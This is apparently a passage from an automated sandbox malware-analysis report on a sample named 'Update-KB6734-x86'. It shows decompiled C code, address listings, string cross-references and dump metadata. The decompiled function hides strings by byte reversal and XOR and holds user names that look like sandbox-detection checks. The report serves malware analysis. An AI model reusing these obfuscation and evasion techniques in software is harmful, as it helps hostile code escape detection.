					if(_t1245 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t1260 = _t1260 + 4;
						}
						_t1066 = 1;
					}
					L70:
					 *[fs:0x0] = _a900;
					return E00424873(_t1066, _a896);
				}
				if(_a892 < 0x10) {
					_t1066 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t1260 = _t1260 + 4;
					_t1066 = 0;
				}
				goto L70;
			}

0x004091a7
0x004091b0
0x004091c0
0x004091c7
0x004091c8
0x004091cd
0x004091d5
0x004091dd
0x004091e5
0x004091ed
0x004091f5
0x004091fd
0x00409205
0x0040920d
0x00409215
0x0040921d
0x00409225
0x0040922d
0x00409235
0x0040923d
0x00409245
0x0040924d
0x00409255
0x0040925d
0x00409260
0x00409270
0x00409277
0x00409278
0x00409291
0x00409299
0x004092a1
0x004092a9
0x004092b1
0x004092b9
0x004092c1
0x004092c9
0x004092d1
0x004092d9
0x004092ed
0x004092fe
0x00409306
0x0040930e
0x00409316
0x0040931e
0x00409326
0x0040932e
0x00409336
0x0040933e
0x00409345
0x0040934d
0x00409355
0x0040935d
0x00409369
0x0040936a
0x00409372
0x00409376
0x0040937e
0x00409386
0x0040938e
0x00409396
0x0040939e
0x004093a6
0x004093ae
0x004093b6
0x004093be
0x004093c6
0x004093ce
0x004093d6
0x004093db
0x004093de
0x004093e2
0x004093ea
0x004093f2
0x004093fa
0x00409402
0x0040940a
0x00409412
0x0040941a
0x00409422
0x0040942a
0x00409432
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

8, xrefs: 0040991F
2, xrefs: 0040A3DA
N, xrefs: 004093FA
Z, xrefs: 00409D00
P, xrefs: 0040A766
d, xrefs: 0040A96F
V, xrefs: 00409F66
9, xrefs: 004092A1
6, xrefs: 00409A5B
}, xrefs: 00409485
", xrefs: 0040AA3D
{, xrefs: 0040AA4F
., xrefs: 00409CCB
E, xrefs: 0040A03F
c, xrefs: 0040A98F
d, xrefs: 0040A160
*, xrefs: 00409B03
O, xrefs: 00409F6E
[, xrefs: 0040A1F2
q, xrefs: 00409BAD
>, xrefs: 0040981D
<, xrefs: 00409A73
Z, xrefs: 0040AA1E
p, xrefs: 004093EA
I, xrefs: 0040990F
I, xrefs: 00409A8B
4, xrefs: 00409D95
, xrefs: 0040A4FD
3, xrefs: 00409986
), xrefs: 0040980D
', xrefs: 0040A844
:, xrefs: 0040A80C
., xrefs: 00409FA0
E, xrefs: 00409CAA
K, xrefs: 00409C05
5, xrefs: 00409C8B
*, xrefs: 0040A5A5
<, xrefs: 00409739
s, xrefs: 0040A804
u, xrefs: 0040A880
l, xrefs: 0040A987
\, xrefs: 0040A03A
G, xrefs: 0040997E
$, xrefs: 00409AD2
g, xrefs: 004096A6
K, xrefs: 00409F8E
1, xrefs: 00409BED
=, xrefs: 00409CE3
K, xrefs: 00409EA7
K, xrefs: 00409A4B
7, xrefs: 0040A5C5
;, xrefs: 0040A62E
), xrefs: 0040A8BB
5, xrefs: 0040961C
!, xrefs: 0040A565
=, xrefs: 0040920D
n, xrefs: 00409D85
E, xrefs: 004091E5
C, xrefs: 00409F76
L, xrefs: 0040AA35
7, xrefs: 00409C15
_, xrefs: 00409B95
\, xrefs: 0040931E
g, xrefs: 0040A0A9
}, xrefs: 0040A34F
Z, xrefs: 00409E9F
!, xrefs: 004091CD
I, xrefs: 0040A834
&, xrefs: 0040A32F
^, xrefs: 0040A595
h, xrefs: 0040A69E
y, xrefs: 004091ED
T, xrefs: 00409D6A
5, xrefs: 0040A646
[, xrefs: 00409E97
_, xrefs: 0040A814
9, xrefs: 0040A1D2
o, xrefs: 004098E6
), xrefs: 00409D7D
%, xrefs: 00409A43
}, xrefs: 0040A505
e, xrefs: 00409AFB
p, xrefs: 0040A3C2
t, xrefs: 0040A858
_, xrefs: 00409AAB
", xrefs: 0040A047
4, xrefs: 00409CDB
T, xrefs: 0040A7DC
9, xrefs: 0040A057
&, xrefs: 004095A9
H, xrefs: 0040A0A1
d, xrefs: 0040A868
:, xrefs: 0040A3E2
#, xrefs: 0040A626
J, xrefs: 004096B6
l, xrefs: 0040998E
P, xrefs: 0040A64E
E, xrefs: 0040AA59
f, xrefs: 0040999E
@, xrefs: 0040A030
I, xrefs: 0040A58D
-, xrefs: 00409706
i, xrefs: 004096CE
D, xrefs: 0040A7E4
+, xrefs: 0040A83C
', xrefs: 004093E2
i, xrefs: 00409E0D
j, xrefs: 00409624
`, xrefs: 0040A68E
4, xrefs: 0040AA23
O, xrefs: 0040A5D5
d, xrefs: 0040A878
V, xrefs: 0040A75E
J, xrefs: 0040AA4A
4, xrefs: 00409465
;, xrefs: 00409CC3
{, xrefs: 0040A170
t, xrefs: 00409E87
q, xrefs: 00409AF3
j, xrefs: 0040A0B1
3, xrefs: 00409CD3
#, xrefs: 00409E1D
/, xrefs: 004098DE
H, xrefs: 004091DD
B, xrefs: 00409F86
?, xrefs: 0040A555
., xrefs: 00409F96
r, xrefs: 0040A860
o, xrefs: 004098F0
}, xrefs: 0040939E
$, xrefs: 0040A7EC
;, xrefs: 0040A5BD
a, xrefs: 004095A1
_, xrefs: 00409475
F, xrefs: 0040A63E
o, xrefs: 0040A870
&, xrefs: 0040A51D
-, xrefs: 0040A33F
_, xrefs: 0040A61E
E, xrefs: 0040A236
[, xrefs: 004099BE
L, xrefs: 0040A04F
], xrefs: 0040A97F
^, xrefs: 00409F7E
Z, xrefs: 00409CEB
c, xrefs: 00409591
-, xrefs: 0040992F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-3452857728
Opcode ID: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
Instruction ID: f89c03aa277b30708e93470f35b2be22918357344e2688cb743a074f04aa4e51
Opcode Fuzzy Hash: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
Instruction Fuzzy Hash: 5AF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDE0, Relevance: 182.0, Strings: 145, Instructions: 703
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040EDE0() {
				intOrPtr _v4;
				intOrPtr _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v84;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				signed char _v97;
				signed char _v98;
				signed char _v99;
				signed char _v100;
				signed char _v101;
				signed char _v102;
				signed char _v103;
				signed char _v104;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				signed char _v113;
				signed char _v114;
				signed char _v115;
				signed char _v116;
				signed char _v117;
				signed char _v118;
				signed char _v119;
				signed char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				signed char _v138;
				signed char _v139;
				signed char _v140;
				signed char _v141;
				signed char _v142;
				signed char _v143;
				signed char _v144;
				char _v152;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v168;
				char _v176;
				signed char _v186;
				signed char _v187;
				signed char _v188;
				signed char _v189;
				signed char _v190;
				signed char _v191;
				signed char _v192;
				char _v200;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v232;
				char _v240;
				char _v248;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v272;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				signed int _v299;
				signed int _v300;
				signed int _v301;
				signed int _v302;
				signed int _v303;
				signed int _v304;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				signed int _v325;
				signed int _v326;
				signed int _v327;
				signed int _v328;
				signed int _v329;
				signed int _v330;
				signed char _v331;
				signed char _v332;
				signed char _v333;
				signed char _v334;
				signed char _v335;
				signed char _v336;
				char _v340;
				char _v341;
				signed int _v342;
				signed int _v343;
				signed int _v344;
				signed int _v345;
				signed int _v346;
				signed int _v347;
				signed int _v348;
				signed int _v349;
				signed int _v350;
				signed int _v351;
				signed int _v352;
				signed int _v353;
				signed int _v354;
				signed int _v355;
				signed int _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				signed int _v363;
				signed int _v364;
				signed int _v365;
				signed int _v366;
				signed int _v367;
				signed int _v368;
				signed char _v371;
				signed char _v372;
				signed char _v373;
				signed char _v374;
				signed char _v375;
				signed char _v376;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				intOrPtr _v400;
				char* _v404;
				signed int* _v408;
				intOrPtr _v412;
				signed char* _v416;
				char* _v420;
				char* _v424;
				signed char* _v428;
				intOrPtr _v432;
				signed int* _v436;
				char* _v440;
				char* _v444;
				intOrPtr _v448;
				char* _v452;
				intOrPtr _v456;
				signed int* _v460;
				char* _v464;
				char* _v468;
				intOrPtr _v472;
				char* _v476;
				signed int* _v480;
				signed char* _v484;
				intOrPtr _v488;
				char* _v492;
				signed char* _v496;
				intOrPtr _v500;
				char* _v504;
				intOrPtr _v508;
				char* _v512;
				intOrPtr _v516;
				char* _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char* _v528;
				char* _v532;
				signed char* _v536;
				char* _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char* _v552;
				char* _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				intOrPtr _v572;
				char _v576;
				char _v580;
				char _v581;
				intOrPtr _t584;
				char _t585;
				void* _t590;
				void* _t599;
				void* _t606;
				intOrPtr _t614;
				void* _t616;
				intOrPtr _t625;
				intOrPtr _t627;
				signed int _t631;
				intOrPtr* _t633;
				char _t638;
				char _t643;
				char _t651;
				char _t656;
				char _t665;
				void* _t677;
				signed char _t684;
				signed char _t686;
				intOrPtr _t711;
				char _t752;
				intOrPtr _t778;
				void* _t779;
				signed char _t780;
				void* _t781;
				signed int _t782;
				signed int _t783;
				void* _t784;
				signed char _t785;
				void* _t786;
				intOrPtr _t789;
				void* _t791;

				_t791 =  &_v528;
				_t584 =  *0x4310d8; // 0xa9302559
				_v4 = _t584;
				_v304 = 0x1d;
				_v303 = 0xcf;
				_v302 = 0x73;
				_v301 = 0x6b;
				_v300 = 0x10;
				_v299 = 0x72;
				_t585 = 0;
				_t780 = 5;
				do {
					_t638 =  *((intOrPtr*)(_t791 + _t585 + 0xec));
					 *((char*)(_t791 + _t585 + 0xec)) =  *((intOrPtr*)(_t791 + _t780 + 0xec));
					_t585 = _t585 + 1;
					 *((char*)(_t791 + _t780 + 0xec)) = _t638;
					_t780 = _t780 - 1;
				} while (_t585 < _t780);
				_v192 = _v304 ^ 0x00000001;
				_v191 = _v303 ^ 0x00000078;
				_v190 = _v302 ^ 0x0000000a;
				_v189 = _v301 ^ 0x00000012;
				_v188 = _v300 ^ 0x000000a1;
				_v187 = _v299 ^ 0x0000001d;
				_v524 = 0x6a;
				_v523 = 0x6f;
				_v522 = 0x65;
				_v521 = 0;
				_v264 = 0x72;
				_v263 = 0x6f;
				_v262 = 0x62;
				_v261 = 0x79;
				_v260 = 0x6e;
				_v259 = 0;
				_v112 = 0x6a;
				_v111 = 0x65;
				_v110 = 0x72;
				_v109 = 0x65;
				_v108 = 0x6d;
				_v107 = 0x79;
				_v106 = 0;
				_v332 = 0x83;
				_v331 = 0xc2;
				_v330 = 0x63;
				_v329 = 0x50;
				_v328 = 0x46;
				_v327 = 0x59;
				_v326 = 0xcd;
				_v325 = 0x7f;
				_t590 = 0;
				_t781 = 7;
				do {
					_t643 =  *((intOrPtr*)(_t791 + _t590 + 0xd0));
					 *((char*)(_t791 + _t590 + 0xd0)) =  *((intOrPtr*)(_t791 + _t781 + 0xd0));
					_t590 = _t590 + 1;
					 *((char*)(_t791 + _t781 + 0xd0)) = _t643;
					_t781 = _t781 - 1;
				} while (_t590 < _t781);
				_v104 = _v332 ^ 0x00000014;
				_v103 = _v331 ^ 0x000000a8;
				_v102 = _v330 ^ 0x00000037;
				_v101 = _v329 ^ 0x00000028;
				_v100 = _v328 ^ 0x00000035;
				_v99 = _v327 ^ 0x00000017;
				_v98 = _v326 ^ 0x000000aa;
				_push(6);
				_v97 = _v325 ^ 0x00000083;
				_push( &_v256);
				 *0x431c89 = 0x19;
				_v256 = 0x88;
				_v255 = 0x9c;
				_v254 = 0x95;
				_v253 = 0x1d;
				_v252 = 0xbd;
				_v251 = 0x48;
				_v312 = 0xbc;
				_v311 = 0xd1;
				_v310 = 0xbe;
				_v309 = 0xd2;
				_v308 = 0xbe;
				_v307 = 0xc7;
				_v524 = E0040D980( &_v312);
				_v348 = 0xf0;
				_v347 = 0x33;
				_v346 = 0x7f;
				_v345 = 0x8f;
				_v344 = 0xd4;
				_v343 = 0x7b;
				_v342 = 0x1c;
				_t599 = 0;
				_t782 = 6;
				do {
					_t651 =  *((intOrPtr*)(_t791 + _t599 + 0xc8));
					 *((char*)(_t791 + _t599 + 0xc8)) =  *((intOrPtr*)(_t791 + _t782 + 0xc8));
					_t599 = _t599 + 1;
					 *((char*)(_t791 + _t782 + 0xc8)) = _t651;
					_t782 = _t782 - 1;
				} while (_t599 < _t782);
				_v144 = _v348 ^ 0x00000071;
				_v141 = _v345 ^ 0x000000e3;
				_v143 = _v347 ^ 0x00000012;
				_v142 = _v346 ^ 0x000000b8;
				_v138 = _v342 ^ 0x000000f0;
				_v140 = _v344 ^ 0x0000001a;
				_v139 = _v343 ^ 0x00000041;
				_v348 = 0xac;
				_v347 = 0x88;
				_v346 = 0x4a;
				_v345 = 0xc7;
				_v344 = 0xee;
				_v343 = 0x67;
				_v342 = 0xfc;
				_t606 = 0;
				_t783 = 6;
				do {
					_t656 =  *((intOrPtr*)(_t791 + _t606 + 0xc8));
					 *((char*)(_t791 + _t606 + 0xc8)) =  *((intOrPtr*)(_t791 + _t783 + 0xc8));
					_t606 = _t606 + 1;
					 *((char*)(_t791 + _t783 + 0xc8)) = _t656;
					_t783 = _t783 - 1;
				} while (_t606 < _t783);
				_v192 = _v348 ^ 0x0000008b;
				_v191 = _v347 ^ 0x0000000e;
				_v189 = _v345 ^ 0x000000b4;
				_v188 = _v344 ^ 0x00000025;
				_v190 = _v346 ^ 0x00000082;
				_v160 = 0xdb;
				_v342 = 0xdb;
				_push(7);
				_v186 = _v342 ^ 0x000000ac;
				_push( &_v160);
				_v187 = _v343 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_v216 = 0x6d;
				_v215 = 0x6f;
				_v214 = 0x6f;
				_v213 = 0x72;
				_v212 = 0x65;
				_v211 = 0;
				_v159 = 0x81;
				_v158 = 0xe5;
				_v157 = 0x9f;
